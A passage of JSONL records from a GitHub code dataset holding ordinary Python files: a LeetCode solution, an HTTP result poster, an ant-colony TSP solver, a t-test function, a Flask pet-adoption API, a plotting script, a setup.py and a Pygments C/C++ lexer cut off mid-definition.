y=sorted(b)\n #print(x,y)\n if(x!=y): #In case 2 strings have different characters, they can never be equal\n self.memo[key]=False\n return(self.memo[key])\n \n # MCM\n flag=False\n n=len(a)\n for i in range(1,n):\n #CASE A\n\n if(solve(a[:i],b[-i:])==True and solve(a[i:],b[:-i])==True):\n flag=True\n break\n #CASE B\n if(solve(a[:i],b[:i])==True and solve(a[i:],b[i:])==True):\n flag=True\n break\n self.memo[key]=flag\n return(self.memo[key])\n \n \n \n return(solve(s1,s2))\n ","repo_name":"Zualemo-xo/LCSolutions","sub_path":"87-scramble-string/87-scramble-string.py","file_name":"87-scramble-string.py","file_ext":"py","file_size_in_byte":1357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70459322144","text":"# -*- coding:utf-8 -*-\nfrom urllib import parse,request\nimport urllib\nimport json\nimport threading\nimport mylog\n\nclass MsgResultPost:\n # def __init__(self):\n # self.post_queue = Queue()\n #\n # def start(self):\n # self.h_thread = threading.Thread(target=self.send)\n # self.h_thread.start()\n #\n # def add_send_msg(self,item):\n # self.post_queue.put(item)\n\n def send(self, url, result_json):\n try:\n if url is None :\n return 1\n result_txt = json.dumps(result_json).encode(encoding='utf-8')\n mylog.logger.info(result_txt)\n header_dict = {'User-Agent': 'Mozilla/5.0', \"Content-Type\": \"application/json\"}\n\n req = request.Request(url=url, data=result_txt, headers=header_dict)\n res = request.urlopen(req)\n res = res.read()\n mylog.logger.info(res.decode(encoding='utf-8'))\n return 0\n except urllib.error.URLError as e:\n mylog.logger.info(\"%s %s\"%(url,e))\n return 1\n\n def send_th(self,url, result_json):\n th = threading.Timer(1, ResultSend.send, (url, result_json,))\n th.start()\n mylog.logger.info('cur thread count :%s'%threading.active_count())\n\nResultSend = MsgResultPost()\n\nif __name__=='__main__':\n d = {\"MsgID\": \"c54977e866\", \"MsgType\": \"result\", \"ResultName\": \"DeleteTemplate\",\n \"Result\": {\"Status\": \"DeleteTemplateDone \", \"Desc\": \"\"}, \"MatchSessionID\": \"\",\n \"TaskID\": \"wd18120003\", \"Version\": 1, \"DateTime\": \"2018-12-24 03:03:02\"}\n\n ResultSend.send_th('http://127.0.0.1:8080/simulateuser', d)\n print('end')","repo_name":"goodluckluyan/easypai_img_match_svr","sub_path":"bin/Resultpost.py","file_name":"Resultpost.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"42178983940","text":"import math\r\nimport numpy as np\r\nimport random as rd\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef start(fileName):\r\n instances = open(fileName)\r\n\r\n qtd_cities = int(instances.readline())\r\n cities_coords = {}\r\n graph = np.zeros([qtd_cities, qtd_cities], dtype=float)\r\n\r\n for x in range(qtd_cities):\r\n linha = instances.readline().split()\r\n a = linha[0]\r\n b = linha[1]\r\n cities_coords[x] = a, b\r\n\r\n for x in range(qtd_cities):\r\n px1 = float(cities_coords[x][0])\r\n py1 = float(cities_coords[x][1])\r\n\r\n for y in range(qtd_cities):\r\n px2 = float(cities_coords[y][0])\r\n py2 = float(cities_coords[y][1])\r\n\r\n if x == y:\r\n graph[x][y] = 0\r\n else:\r\n aux = pow((px2 - px1), 2) + pow((py2 - py1), 2)\r\n graph[x][y] = math.sqrt(aux)\r\n\r\n instances.close()\r\n return graph\r\n\r\ndef calculatepopSize(fileName):\r\n instances = open(fileName)\r\n\r\n qtd_cities = int(instances.readline())\r\n instances.close()\r\n\r\n return qtd_cities\r\n\r\n\r\ndef generate_first_population(graph, popSize):\r\n cities = []\r\n pop = []\r\n\r\n for x in range(len(graph)):\r\n cities.append(x)\r\n\r\n for x in range(len(graph)):\r\n cities.remove(x)\r\n sample = rd.sample(cities, k=len(graph)-1)\r\n sample.insert(0, x)\r\n pop.append(sample)\r\n cities.append(x)\r\n\r\n return pop\r\n\r\ndef generate_population(popSize, graph, pheromoneMap):\r\n pop = []\r\n route = []\r\n for ant in range(len(graph)):\r\n first_position = True\r\n for iterator in range(len(graph)):\r\n if (first_position == True):\r\n route.clear()\r\n ant_next_position = pick_next_city(ant, route, graph, pheromoneMap)\r\n route.clear()\r\n route.append(ant_next_position)\r\n first_position = False\r\n else:\r\n ant_next_position = pick_next_city(ant_next_position, route, graph, pheromoneMap)\r\n for aux in range(0, popSize-iterator):\r\n del route[-1]\r\n route.append(ant_next_position)\r\n copy = route.copy()\r\n pop.append(copy)\r\n\r\n return pop\r\n\r\ndef fitness(pop, graph):\r\n performance = []\r\n\r\n for x in range(len(pop)):\r\n performance.append(1 / route_time(pop[x], graph))\r\n\r\n return performance\r\n\r\ndef pick_best_ant(pop, popFitness):\r\n best_result = 0\r\n best_ant = 0\r\n\r\n for ant in range(0, len(pop)):\r\n if popFitness[ant] > best_result:\r\n best_ant = ant\r\n best_result = popFitness[ant]\r\n\r\n return best_ant\r\n\r\ndef route_time(route, graph):\r\n time = 0.0\r\n\r\n for x in range(len(route) - 1):\r\n if x < len(route):\r\n time += graph[route[x]][route[x + 1]]\r\n\r\n time += graph[route[0]][route[len(route) - 1]]\r\n\r\n return time\r\n\r\ndef travelTime(node_a, node_b, graph):\r\n\r\n if graph[node_a][node_b] == 0:\r\n return 0\r\n\r\n else:\r\n traveltime = 1/graph[node_a][node_b]\r\n\r\n return traveltime\r\n\r\ndef probabilisticFunction(node_a, node_b, alpha, beta, pheromoneMap, graph):\r\n\r\n first_term = pow(pheromoneMap[node_a][node_b], alpha)\r\n second_term = pow(travelTime(node_a, node_b, graph), beta)\r\n\r\n probability = first_term * second_term\r\n\r\n return probability\r\n\r\n\r\n\r\ndef selection(pop, popFitness):\r\n # PARTE 1 - ORDENAR INDIVIDUOS PELO COEFICIENTE DE APTIDAO (1/DISTANCIA) DO MAIOR PARA O MENOR\r\n rankPop = rank_routes(pop, popFitness)\r\n\r\n # PARTE 2 - SELECIONAR O INDICE DOS INDIVIDUOS POR ELITISMO + ROLETA\r\n selectedIndex = selectionIndex(rankPop)\r\n\r\n # PARTE 3 - BUSCAR OS CROMOSSOMOS DOS INDICES SELECIONADOS\r\n selectedCromossomos = selectionCromo(pop, selectedIndex) # busca os cromossomos dos indices selecionados\r\n\r\n return selectedCromossomos\r\n\r\n#pick best ant\r\ndef rank_routes(pop, popFitness):\r\n bettersFitness = {}\r\n\r\n for x in range(len(pop)):\r\n bettersFitness[x] = popFitness[x]\r\n\r\n return sorted(bettersFitness.items(), key=lambda item: item[1], reverse=True)\r\n\r\n#picking next city\r\ndef pick_next_city(present_node, visited_nodes, graph, pheromoneMap):\r\n best_result = 0\r\n best_next_city = 0\r\n\r\n for next_city in range(0, len(graph)):\r\n if next_city in visited_nodes:\r\n a = 0\r\n else:\r\n visited_nodes.append(next_city)\r\n probabilistic_result = probabilisticFunction(present_node, next_city, 1, 5, pheromoneMap, graph)\r\n\r\n if probabilistic_result > best_result:\r\n best_result = probabilistic_result\r\n best_next_city = next_city\r\n\r\n return best_next_city\r\n\r\ndef evaporate_map(pheromoneMap, pheromoneEvaporationTax):\r\n for x in range(0, len(pheromoneMap)-1):\r\n for y in range(0, len(pheromoneMap)-1):\r\n pheromoneMap[x][y] *= pheromoneEvaporationTax\r\n\r\n return pheromoneMap\r\ndef update_pheromoneMap(pheromoneMap, ant, antValue, Q, bestPathValue, elitism):\r\n for cities in range(0, len(ant)-1):\r\n x = ant[cities]\r\n y = ant[cities+1]\r\n pathValue = float(pheromoneMap[x][y])\r\n if antValue == bestPathValue:\r\n pheromoneMap[x][y] = pathValue + (elitism * (Q / antValue))\r\n else:\r\n pheromoneMap[x][y] = pathValue + (Q / antValue)\r\n\r\n return pheromoneMap\r\n\r\ndef geneticAlgorithm(graphCities):\r\n popSize = calculatepopSize(\"instances.txt\")\r\n progress = []\r\n bestPath = []\r\n bestPathValue = 0\r\n pheromoneMap = np.zeros([popSize, popSize], dtype=float)\r\n thisAnt = 0\r\n\r\n pop = generate_first_population(graphCities, popSize)\r\n popFitness = fitness(pop, graphCities)\r\n bestAnt = pick_best_ant(pop, popFitness)\r\n pheromoneMap = update_pheromoneMap(pheromoneMap, pop[bestAnt], popFitness[bestAnt], 0.01, 100, bestPathValue)\r\n aux = rank_routes(pop, popFitness)\r\n progress.append(1 / aux[0][1])\r\n bestPath = pop[bestAnt]\r\n bestPathValue = popFitness[bestAnt]\r\n numGenerations = 100 # numero de gerações\r\n\r\n print(\"Melhor distancia inicial: \" + str(1 / aux[0][1]))\r\n print(\"Melhor rota inicial: \" + str(pop[aux[0][0]]))\r\n\r\n for i in range(0, numGenerations-1):\r\n new_generation = generate_population(popSize, graphCities, pheromoneMap)\r\n popFitness = fitness(new_generation, graphCities)\r\n thisAnt = pick_best_ant(new_generation, popFitness)\r\n if popFitness[thisAnt] > bestPathValue:\r\n bestPathValue = popFitness[thisAnt]\r\n bestPath = pop[thisAnt]\r\n bestAnt = thisAnt\r\n pheromoneMap = evaporate_map(pheromoneMap, 0.5)\r\n pheromoneMap = update_pheromoneMap(pheromoneMap, pop[bestAnt], popFitness[bestAnt], 100, bestPathValue, 0.5)\r\n for ant in range(0, len(pheromoneMap)):\r\n update_pheromoneMap(pheromoneMap, pop[ant], popFitness[ant], 100, bestPathValue, 0.5)\r\n aux = rank_routes(new_generation, popFitness)\r\n progress.append(1 / aux[0][1])\r\n\r\n aux = rank_routes(new_generation, popFitness)\r\n print(\"Melhor distancia final: \" + str(1 / aux[0][1]))\r\n bestRoute = new_generation[aux[0][0]]\r\n print(\"Melhor rota final: \" + str(bestRoute))\r\n\r\n plt.plot(progress)\r\n x = range(len(progress))\r\n plt.title(\"GA applied to TSP\", loc='center')\r\n plt.text(x[len(x) // 2], progress[0], 'minimum distance: {}'.format(progress[-1]), ha='center', va='center')\r\n plt.ylabel('Distance')\r\n plt.xlabel('Generations')\r\n plt.show()\r\n\r\n# PARAMETROS\r\n# tamanho da população: 10*num_cidades\r\n# taxa do elitismo: 10% da população\r\n# taxa de mutação: 1%\r\n# numero de geracoes: 100 gerações","repo_name":"ytonykaku/TSPbyAntColony","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":7721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"7091713330","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[5]:\n\n\nfrom scipy.stats import t \nimport numpy as np\nimport scipy\n\n\ndef teste_hipotese(x,y,alfa=0.05):\n \n \n '''T-test hypothesis testing for regression. Returns 1 if null Hypthotesis can be rejected (considering the chosen alfa )\n and 0 if it can't.\n \n Parameters:\n -------------------------------------------\n x and y: Variables \n alfa: Desired statistical significance.'''\n \n n = len(x)\n xmed = np.sum(x)/n;\n ymed = np.sum(y)/n;\n i = 0\n ttable = 1.960\n reject=0 \n reject0=0 \n Sxy = 0\n Sxx = 0 \n Syy = 0\n for i in range(n):\n Sxy = Sxy + ((x[i]-xmed)*(y[i]-ymed))\n Sxx = Sxx + np.power(x[i]-xmed, 2)\n\n b1 = Sxy/Sxx\n b0 = ymed-b1*xmed\n\n for i in range(n):\n Syy = Syy + np.power(y[i]-ymed, 2)\n\n R2 = np.power(Sxy,2)/(Sxx*Syy)\n R2a = 1 - ((n-1)/(n-2))*(1-R2)\n QME = (Syy-(b1*Sxy))/(n-2)\n bla = (1.0/n) + (xmed*xmed)/(Sxx)\n t0 = b0 / np.sqrt(QME*bla)\n t = b1 / np.sqrt(QME/Sxx)\n \n \n pvalue = 2*(1 - scipy.stats.t.cdf(np.abs(t),df=n-2))\n if np.abs(pvalue)<=alfa:\n reject=1\n else:\n reject=0\n \n return reject,pvalue\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"vitor-yuichi/Tweet_Pluviometer","sub_path":"Scripts/teste_t.py","file_name":"teste_t.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27017269775","text":"from flask import render_template, redirect, request, url_for, flash, json, Response\nfrom app import app, models, login_manager, db, user, animal, donation, intention\nfrom flask_login import current_user, login_user, logout_user, login_required\nfrom werkzeug.security import generate_password_hash, check_password_hash\nfrom .forms import LoginForm, SignUpForm\nfrom .user import User\nfrom .animal import Animal\nfrom .donation import Donation\nfrom .intention import Intention\nfrom .models import *\nfrom datetime import datetime\nimport requests, random\n\n# --- Endpoints: --- #\n@app.route('/user/signup', methods=['POST'])\ndef signup():\n if request.headers['Content-Type'] == 'application/x-www-form-urlencoded':\n username = request.form.get('username')\n email = request.form.get('email')\n password = request.form.get('password')\n age = request.form.get('age')\n if isUsernameUsed(username) is True:\n # in this case user with this username exists already\n data = { \"Error\": \"Username is already used. Please pick a different one.\" }\n status_code = 409\n resp = Response(json.dumps(data), status=status_code, mimetype='application/json')\n return resp\n if isEmailUsed(email) is True:\n # in this case user with this username exists already\n data = { \"Error\": \"Email is already used. Please pick a different one.\" }\n status_code = 409\n resp = Response(json.dumps(data), status=status_code, mimetype='application/json')\n return resp\n newUser = User(username, email, age)\n newUser.set_password(password)\n addToDatabase(newUser)\n login_user(newUser)\n data = { \"user_id\": newUser.id}\n status_code = 201\n else:\n data = { \"answer\": \"Bad request header\" }\n status_code = 400\n resp = Response(json.dumps(data), status=status_code, mimetype='application/json')\n return resp\n\n@app.route('/user/login', methods=['POST'])\ndef login():\n if request.headers['Content-Type'] == 'application/x-www-form-urlencoded':\n username = request.form.get('username')\n password = request.form.get('password')\n if validateLogin(username, password):\n data = { \"user_id\": current_user.id}\n status_code = 200\n else:\n data = { \"Error\": \"The login information is not corrected\" }\n status_code = 403\n resp = Response(json.dumps(data), status=status_code, mimetype='application/json')\n return resp\n\n@app.route('/visit', methods=['POST'])\ndef send_visit_intention():\n args = request.get_json()\n user_id = int(args.get('userId'))\n pet_id = int(args.get('petId'))\n activity = args.get('activityType')\n date_str = args.get(\"visitDate\")\n format_date = '%m/%d/%Y'\n time_slot = datetime.strptime(date_str, format_date)\n if not isValidUserId(user_id):\n message = {\"Error\":\"There is no user at that id\"}\n status_code = 404\n elif not isValidAnimalId(pet_id):\n message = {\"Error\":\"There is no pet at that id\"}\n status_code = 404\n elif not is_valid_activity(activity.lower()):\n message = {\"Error\":\"No such activity\"}\n status_code = 404\n else:\n new_intention = Intention(activity,time_slot, pet_id,user_id)\n addToDatabase(new_intention)\n message = \"\"\n status_code = 200\n return Response(json.dumps(message), status= status_code, mimetype='application/json')\n\ndef is_valid_activity(activity):\n return activity in ['volunteering', 'visiting', 'both']\n\n@app.route('/load-animal', methods=['POST'])\ndef load_dogs():\n def get_dogs():\n data = {\n \"ZipCode\": \"94703\",\n \"SearchRadiusInMiles\": 50,\n \"PetType\": \"dog\",\n \"PageNumber\": 1\n }\n response = requests.post(\"https://getyourpet.com/api/partnerpetsearch\", json=data)\n return response.json()\n data = get_dogs()\n for dog in data:\n name = dog['Name']\n if dog['Breeds'] != None:\n breed = ''\n for b in dog['Breeds']:\n breed += b['BreedName']\n breed += ' & '\n breed = breed[:-3]\n else:\n breed = 'N/A'\n picture_url = dog['PrimaryPhotoUrl']\n gender = dog['Gender']\n age = dog['AgeYears']\n availability = dog['NewlyAvailable']\n activity = random.choice(['Just had a walk! :)', 'Walking with a visitor!', 'Sleeping', 'Feeling bored...'])\n addToDatabase(Animal(name, breed, picture_url, gender, age, availability, activity))\n\n return Response(json.dumps(data), status= 200, mimetype='application/json')\n\n@app.route('/animal', methods=['POST'])\ndef add_animal_info():\n args = request.get_json()\n pic_url = args.get('picture_url')\n name = args.get('name')\n age = args.get('age')\n breed = args.get('breed')\n gender = args.get('gender')\n availability = args.get('availability')\n if pic_url is None or name is None or age is None or breed is None or gender is None or availability is None:\n status = 400\n response = {\"Error\": \"Arguments missing\"}\n else:\n status = 200\n new_pet = Animal(name, breed, pic_url, gender, age, availability, id=None)\n addToDatabase(new_pet)\n response = {\"id\": new_pet.id}\n return Response(json.dumps(response), status= status, mimetype='application/json')\n\n@app.route('/animal/', methods=['GET'])\ndef get_dog(id):\n dog = Animal.query.filter_by(id=id).first()\n if dog is None:\n status = 404\n response = {\"message\": f\"Animal('id': {id}) does not exist\"}\n else:\n data = {\n 'name': dog.name,\n 'breed': dog.breed,\n 'picture_url': dog.picture_url,\n 'gender': dog.gender,\n 'age': dog.age,\n 'availability': dog.availability\n }\n status = 200\n response = data\n return Response(json.dumps(response), status= status, mimetype='application/json')\n\n@app.route('/animal/', methods=['PUT'])\ndef update_dog(id):\n dog = Animal.query.filter_by(id=id).first()\n if dog is None:\n status = 404\n response = {\"message\": f\"Animal('id': {id}) does not exist\"}\n else:\n args = request.get_json()\n status = 200\n if 'name' in args:\n dog.name = args['name']\n if 'breed' in args:\n dog.breed = args['breed']\n if 'picture_url' in args:\n dog.picture_url = args['picture_url']\n if 'gender' in args:\n dog.gender = args['gender']\n if 'age' in args:\n dog.age = args['age']\n if 'availability' in args:\n dog.availability = args['availability']\n db.session.commit()\n response = {\"message\": str(dog)}\n return Response(json.dumps(response), status= status, mimetype='application/json')\n\n@app.route('/animal/activity/', methods=['GET'])\ndef get_animal_activity(pet_id):\n pet_id = int(pet_id)\n\n if not isValidAnimalId(pet_id):\n response = {\"Error\":\"There is no pet at that id\"}\n status_code = 404\n\n else:\n get_activity = getAnimalByPetId(pet_id).activity\n response = {\"activity\": get_activity}\n\n return Response(json.dumps(response), status= 200, mimetype='application/json')\n\n\n\n@app.route('/animal/availability/', methods=['GET'])\ndef get_animal_availability(pet_id):\n pet_id = int(pet_id)\n\n if not isValidAnimalId(pet_id):\n response = {\"Error\":\"There is no pet at that id\"}\n status_code = 404\n\n else:\n get_availability = getAnimalByPetId(pet_id).availability\n response = {\"availability\": get_availability}\n\n return Response(json.dumps(response), status= 200, mimetype='application/json')\n\n@app.route('/donate', methods=['POST'])\ndef add_donation_info():\n args = request.get_json()\n user_id = int(args.get('userId'))\n pet_id = int(args.get('petId'))\n amount = float(args.get('amount'))\n if not isValidUserId(user_id):\n message = {\"Error\":\"There is no user at that id\"}\n status_code = 404\n elif not isValidAnimalId(pet_id):\n message = {\"Error\":\"There is no pet at that id\"}\n status_code = 404\n else:\n new_donation = Donation(amount, user_id, pet_id)\n addToDatabase(new_donation)\n message = \"\"\n status_code = 200\n return Response(json.dumps(message), status= status_code, mimetype='application/json')\n\n# --- Page rendering methods: --- #\n# It's just for UI. We can remove it later.\n\n@app.route('/')\ndef index():\n if current_user.is_authenticated:\n return render_template('index.html', username = current_user.username)\n else:\n return render_template('index.html', username = \"Guest\")\n\n@app.route('/signup', methods=['GET', 'POST'])\ndef signupPage():\n form = SignUpForm()\n if form.validate_on_submit():\n username = form.username.data\n email = form.email.data\n password = form.password.data\n age = form.age.data\n if isUsernameUsed(username) is True:\n # in this case user with this username exists already\n flash(\"Username is already used. Please pick a different one.\")\n return render_template('signup.html', title = \"Sign Up\", form = form)\n if isEmailUsed(email) is True:\n # in this case user with this username exists already\n flash(\"Email is already used. Please pick a different one.\")\n return render_template('signup.html', title = \"Sign Up\", form = form)\n # in case it does not exist\n newUser = User(username, email, age)\n newUser.set_password(password)\n addToDatabase(newUser)\n login_user(newUser)\n return redirect(url_for('index'))\n return render_template('signup.html', title = \"Sign Up\", form = form, username = \"Guest\")\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef loginPage():\n if current_user.is_authenticated:\n return redirect(url_for('index'))\n form = LoginForm()\n if form.validate_on_submit():\n username = form.username.data\n password = form.password.data\n if validateLogin(username, password):\n return redirect(url_for('index'))\n else:\n flash('Invalid username or password')\n return render_template('login.html', title = 'Log In', form = form, username = \"Guest\")\n\n@app.route('/logout')\n@login_required\ndef logout():\n logout_user()\n return redirect(url_for('index'))\n\n@login_manager.unauthorized_handler\ndef unauthorized_handler():\n return redirect(url_for('login'))\n\n","repo_name":"chingyi-lin/coffee-meets-beagle","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33212525240","text":"#!/usr/bin/python3\n#http://scipy.org/getting-started.html\n\nimport argparse\nimport numpy as np\nfrom scipy import special, optimize\nimport matplotlib.pyplot as plot\n\ndef main():\n # parse command line arguments\n parser = argparse.ArgumentParser(usage=__doc__)\n parser.add_argument('--order', type=int, default=3, help='order of bessel function')\n parser.add_argument('--output', default='junk.png', help='output image file')\n args = parser.parse_args()\n\n # compute maximum\n f = lambda x: -special.jv(args.order, x)\n solution = optimize.minimize(f, 1.0)\n\n # plot\n x = np.linspace(0, 10, 5000)\n plot.plot(x, special.jv(args.order, x), '-', solution.x, -solution.fun, 'o')\n \n # produce output\n plot.savefig(args.output, dpi=96)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"2511674586/withLinux","sub_path":"lang/py3/scipy1.py","file_name":"scipy1.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"14090165283","text":"# _*_ coding: utf-8 _*_\r\n\r\nfrom os import path\r\nfrom setuptools import find_packages, setup\r\nfrom codecs import open\r\n\r\nname = 'nmc_tool_eccodes'\r\nauthor = __import__(name).__author__\r\nversion = __import__(name).__version__\r\n\r\nhere = path.abspath(path.dirname(__file__))\r\n\r\n# Get the long description from the README file\r\nwith open(path.join(here, 'README.md'), encoding='utf-8') as f:\r\n long_description = f.read()\r\n\r\nsetup(\r\n name=name,\r\n\r\n version=version,\r\n\r\n description='Calling the eccodes tools in Windows.',\r\n long_description=long_description,\r\n\r\n # author\r\n author=author,\r\n author_email='kan.dai@foxmail.com',\r\n\r\n # LICENSE\r\n license='GPL3',\r\n\r\n classifiers=[\r\n 'Development Status :: 3 - Alpha',\r\n 'Intended Audience :: Developers',\r\n 'Programming Language :: Python :: 3',\r\n ],\r\n\r\n packages=find_packages(exclude=['tests']),\r\n include_package_data=True,\r\n exclude_package_data={'': ['.gitignore', '*.pyc', '*.pyo']},\r\n\r\n install_requires=[]\r\n)\r\n\r\n# development mode (DOS command):\r\n# python setup.py develop\r\n# python setup.py develop --uninstall\r\n\r\n# build mode:\r\n# python setup.py build --build-base=D:/testworks/python/build\r\n\r\n# distribution mode:\r\n# python setup.py sdist # create source tar.gz file in /dist\r\n# python setup.py bdist_wheel # create wheel binary in /dist\r\n","repo_name":"nmcdev/nmc_tool_eccodes","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"7"} +{"seq_id":"70529214623","text":"import re\n\nfrom pygments.lexer import RegexLexer, include, bygroups, using, \\\n this, inherit, default, words\nfrom pygments.util import get_bool_opt\nfrom pygments.token import Text, Comment, Operator, Keyword, Name, String, \\\n Number, Punctuation, Error\n\n__all__ = ['CLexer', 'CppLexer']\n\n\nclass CFamilyLexer(RegexLexer):\n \"\"\"\n For C family source code. This is used as a base class to avoid repetitious\n definitions.\n \"\"\"\n\n #: optional Comment or Whitespace\n _ws = r'(?:\\s|//.*?\\n|/[*].*?[*]/)+'\n #: only one /* */ style comment\n _ws1 = r'\\s*(?:/[*].*?[*]/\\s*)*'\n\n tokens = {\n 'whitespace': [\n # preprocessor directives: without whitespace\n ('^#if\\s+0', Comment.Preproc, 'if0'),\n ('^#', Comment.Preproc, 'macro'),\n # or with whitespace\n ('^(' + _ws1 + r')(#if\\s+0)',\n bygroups(using(this), Comment.Preproc), 'if0'),\n ('^(' + _ws1 + ')(#)',\n bygroups(using(this), Comment.Preproc), 'macro'),\n (r'\\n', Text),\n (r'\\s+', Text),\n (r'\\\\\\n', Text), # line continuation\n (r'//(\\n|(.|\\n)*?[^\\\\]\\n)', Comment.Single),\n (r'/(\\\\\\n)?[*](.|\\n)*?[*](\\\\\\n)?/', Comment.Multiline),\n ],\n 'statements': [\n (r'L?\"', String, 'string'),\n (r\"L?'(\\\\.|\\\\[0-7]{1,3}|\\\\x[a-fA-F0-9]{1,2}|[^\\\\\\'\\n])'\", String.Char),\n (r'(\\d+\\.\\d*|\\.\\d+|\\d+)[eE][+-]?\\d+[LlUu]*', Number.Float),\n (r'(\\d+\\.\\d*|\\.\\d+|\\d+[fF])[fF]?', Number.Float),\n (r'0x[0-9a-fA-F]+[LlUu]*', Number.Hex),\n (r'0[0-7]+[LlUu]*', Number.Oct),\n (r'\\d+[LlUu]*', Number.Integer),\n (r'\\*/', Error),\n (r'[~!%^&*+=|?:<>/-]', Operator),\n (r'[()\\[\\],.]', Punctuation),\n (words(('auto', 'break', 'case', 'const', 'continue', 'default', 'do',\n 'else', 'enum', 'extern', 'for', 'goto', 'if', 'register',\n 'restricted', 'return', 'sizeof', 'static', 'struct',\n 'switch', 'typedef', 'union', 'volatile', 'while'),\n suffix=r'\\b'), Keyword),\n (r'(bool|int|long|float|short|double|char|unsigned|signed|void|'\n r'[a-z_][a-z0-9_]*_t)\\b',\n Keyword.Type),\n (words(('inline', '_inline', '__inline', 'naked', 'restrict',\n 'thread', 'typename'), suffix=r'\\b'), Keyword.Reserved),\n # Vector intrinsics\n (r'(__m(128i|128d|128|64))\\b', Keyword.Reserved),\n # Microsoft-isms\n (words((\n 'asm', 'int8', 'based', 'except', 'int16', 'stdcall', 'cdecl',\n 'fastcall', 'int32', 'declspec', 'finally', 'int64', 'try',\n 'leave', 'wchar_t', 'w64', 'unaligned', 'raise', 'noop',\n 'identifier', 'forceinline', 'assume'),\n prefix=r'__', suffix=r'\\b'), Keyword.Reserved),\n (r'(true|false|NULL)\\b', Name.Builtin),\n (r'([a-zA-Z_]\\w*)(\\s*)(:)(?!:)', bygroups(Name.Label, Text, Punctuation)),\n ('[a-zA-Z_]\\w*', Name),\n ],\n 'root': [\n include('whitespace'),\n # functions\n (r'((?:[\\w*\\s])+?(?:\\s|[*]))' # return arguments\n r'([a-zA-Z_]\\w*)' # method name\n r'(\\s*\\([^;]*?\\))' # signature\n r'(' + _ws + r')?(\\{)',\n bygroups(using(this), Name.Function, using(this), using(this),\n Punctuation),\n 'function'),\n # function declarations\n (r'((?:[\\w*\\s])+?(?:\\s|[*]))' # return arguments\n r'([a-zA-Z_]\\w*)' # method name\n r'(\\s*\\([^;]*?\\))' # signature\n r'(' + _ws + r')?(;)',\n bygroups(using(this), Name.Function, using(this), using(this),\n Punctuation)),\n default('statement'),\n ],\n 'statement': [\n include('whitespace'),\n include('statements'),\n ('[{}]', Punctuation),\n (';', Punctuation, '#pop'),\n ],\n 'function': [\n include('whitespace'),\n include('statements'),\n (';', Punctuation),\n (r'\\{', Punctuation, '#push'),\n (r'\\}', Punctuation, '#pop'),\n ],\n 'string': [\n (r'\"', String, '#pop'),\n (r'\\\\([\\\\abfnrtv\"\\']|x[a-fA-F0-9]{2,4}|'\n r'u[a-fA-F0-9]{4}|U[a-fA-F0-9]{8}|[0-7]{1,3})', String.Escape),\n (r'[^\\\\\"\\n]+', String), # all other characters\n (r'\\\\\\n', String), # line continuation\n (r'\\\\', String), # stray backslash\n ],\n 'macro': [\n (r'[^/\\n]+', Comment.Preproc),\n (r'/[*](.|\\n)*?[*]/', Comment.Multiline),\n (r'//.*?\\n', Comment.Single, '#pop'),\n (r'/', Comment.Preproc),\n (r'(?<=\\\\)\\n', Comment.Preproc),\n (r'\\n', Comment.Preproc, '#pop'),\n ],\n 'if0': [\n (r'^\\s*#if.*?(?/-]', Operator),\n (r'[()\\[\\],.;]', Punctuation),\n (r'(asm|auto|break|case|catch|const|const_cast|continue|'\n r'default|delete|do|dynamic_cast|else|enum|explicit|export|'\n r'extern|for|friend|goto|if|mutable|namespace|new|operator|'\n r'private|protected|public|register|reinterpret_cast|return|'\n r'restrict|sizeof|static|static_cast|struct|switch|template|'\n r'this|throw|throws|try|typedef|typeid|typename|union|using|'\n r'volatile|virtual|while)\\b', Keyword),\n (r'(class)(\\s+)', bygroups(Keyword, Text), 'classname'),\n (r'(bool|int|long|float|short|double|char|unsigned|signed|uint8_t|uint16_t|uint32_t|uint64_t|int8_t|int16_t|int32_t|int64_t|'\n r'void|wchar_t|GLenum|GLboolean|GLbitfield|GLvoid|GLbyte|'\n\t r'GLshort|GLint|GLubyte|GLushort|GLuint|GLsizei|GLfloat|GLuint64|'\n\t r'GLclampf|GLdouble|GLclampd|GLsync|'\n r'SDL_AssertionHandler|'\n r'SDL_AtomicDecRef|'\n r'SDL_AtomicIncRef|'\n r'SDL_AudioCVT|'\n r'SDL_AudioCallback|'\n r'SDL_AudioDeviceID|'\n r'SDL_AudioFilter|'\n r'SDL_AudioFormat|'\n r'SDL_AudioSpec|'\n r'SDL_AudioStatus|'\n r'SDL_BlendMode|'\n r'SDL_BlitMap|'\n r'SDL_Color|'\n r'SDL_CommonEvent|'\n r'SDL_ControllerAxisEvent|'\n r'SDL_ControllerButtonEvent|'\n r'SDL_ControllerDeviceEvent|'\n r'SDL_GLattr|'\n r'SDL_GLprofile|'\n r'SDL_GLcontextFlag|'\n r'SDL_CurrentBeginThread|'\n r'SDL_CurrentEndThread|'\n r'SDL_GLContext|'\n r'SDL_Cursor|'\n r'SDL_DisplayMode|'\n r'SDL_DollarGestureEvent|'\n r'SDL_DropEvent|'\n r'SDL_Event|'\n r'SDL_EventFilter|'\n r'SDL_EventType|'\n r'SDL_Finger|'\n r'SDL_FingerID|'\n r'SDL_GameController|'\n r'SDL_GameControllerAxis|'\n r'SDL_GameControllerBindType|'\n r'SDL_GameControllerButton|'\n r'SDL_GameControllerButtonBind|'\n r'SDL_GameControllerDB|'\n r'SDL_GestureID|'\n r'SDL_GetPlatform|'\n r'SDL_Haptic|'\n 